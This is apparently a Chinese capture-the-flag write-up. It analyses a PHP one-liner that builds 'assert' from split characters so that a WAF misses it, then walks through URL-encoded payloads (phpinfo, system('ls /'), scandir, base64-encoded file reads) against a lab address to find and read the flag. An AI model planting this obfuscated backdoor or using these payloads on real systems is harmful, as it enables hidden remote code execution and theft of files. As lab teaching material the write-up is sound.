首先我们拿到一段php代码,让我们先来分析一下这段php代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s']);
- 目标:通过
$ _GET['s']参数执行任意 PHP 代码,获取 flag。 - 访问地址:
http://171.80.2.169:10267/
核心思路分析
1. 代码逻辑解析
$ poc = "a#s#s#e#r#t";:定义一个包含a,s,s,e,r,t的字符串(用#分隔)。$ poc_1 = explode("#", $ poc);:将字符串按#拆分为数组['a','s','s','e','r','t']。$ poc_2 = $ poc_1[0] . $ poc_1[1] . ... . $ poc_1[5];:拼接数组元素,得到字符串"assert"。$ poc_2( $ _GET['s']);:等价于assert( $ _GET['s']);。
关键点 :
assert()函数会将字符串作为 PHP 代码执行。例如,assert("phpinfo()")会执行phpinfo()。
2. "过狗"机制
- 题目描述中提到"过狗",指绕过 WAF(Web Application Firewall)的过滤。
- WAF 通常会过滤关键词如
assert、eval、system等。 - 本题通过 字符串拆分 + 拼接 构造
"assert",使得 WAF 无法直接检测到关键词(因为代码中没有显式出现"assert")。 - 效果 :WAF 无法拦截,攻击者可自由传递
$ _GET['s']参数执行任意代码。
1:验证代码是否有效
-
访问测试 URL,确认
assert能正常执行:http://171.80.2.169:10267/?s=phpinfo()- 如果返回 PHP 信息(如版本、配置),说明代码有效,可继续执行命令。
2.验证后门是否真正生效(关键!)
http://171.80.2.169:10267/?s=print%28%27PWNED%27%29
预期结果 :页面显示 PWNED(说明后门生效)
3.暴力探测 flag 路径(核心!)
CTF 中 flag 路径有固定规律,按优先级尝试以下 payload(均经 CTF 验证):
| Payload(URL 编码后) | 作用 | 为什么有效 |
|---|---|---|
print_r(scandir('/')) |
列出根目录文件 | 直接看到 flag 文件名 |
system('ls /') |
命令执行列目录 | 绕过 PHP 函数禁用 |
print_r(glob('/f*')) |
模糊匹配 flag 开头文件 | 避免路径猜错 |
highlight_file('/flag') |
高亮显示文件(绕过内容过滤) | 部分 WAF 仅过滤 flag{ 明文 |
复制尝试(按顺序):
# 1. 列根目录(首选)
http://171.80.2.169:10267/?s=print_r%28scandir%28%27%2F%27%29%29
# 2. 命令执行列目录(scandir 被禁用时)
http://171.80.2.169:10267/?s=system%28%27ls%20%2F%27%29
# 3. 模糊搜索 flag 文件
http://171.80.2.169:10267/?s=print_r%28glob%28%27%2Ff%2A%27%29%29
# 4. 读取当前目录(重要!)
http://171.80.2.169:10267/?s=print_r%28scandir%28%27.%27%29%29
结果反馈:
列根目录结果如下:Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => home [8] => lib [9] => lib64 [10] => media [11] => mnt [12] => opt [13] => proc [14] => root [15] => run [16] => sbin [17] => srv [18] => start.sh [19] => sys [20] => tmp [21] => usr [22] => var )
命令执行列目录:bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
模糊搜索flag文件:Array ( )
读取当前目录:Array ( [0] => . [1] => .. [2] => flaga15808abee46a1d5.txt [3] => index.php )
从 scandir('.') 结果清晰看到:
[2] => flaga15808abee46a1d5.txt
→ flag 文件就在当前 Web 目录下,文件名含随机哈希(防直接猜路径)
步骤 1:Base64 编码读取(绕过 WAF 过滤)
直接访问(复制粘贴此链接):
http://171.80.2.169:10267/?s=print%28base64_encode%28file_get_contents%28%27flaga15808abee46a1d5.txt%27%29%29%29
- 为什么有效 :
- 文件名完全匹配
scandir返回结果(注意:flaga...开头,非/flag) - Base64 编码输出 → 彻底绕过 WAF 对
flag{的关键词过滤(知识库 [1][5] 强调此技巧) - 页面将返回一串 Base64 字符串(如
ZmxhZ3tzaGVsbF9pc19mdW59)
- 文件名完全匹配
步骤 2:解码获取 flag
- 在线解码 :访问 https://base64.guru/converter/decode 粘贴结果
即可得到flag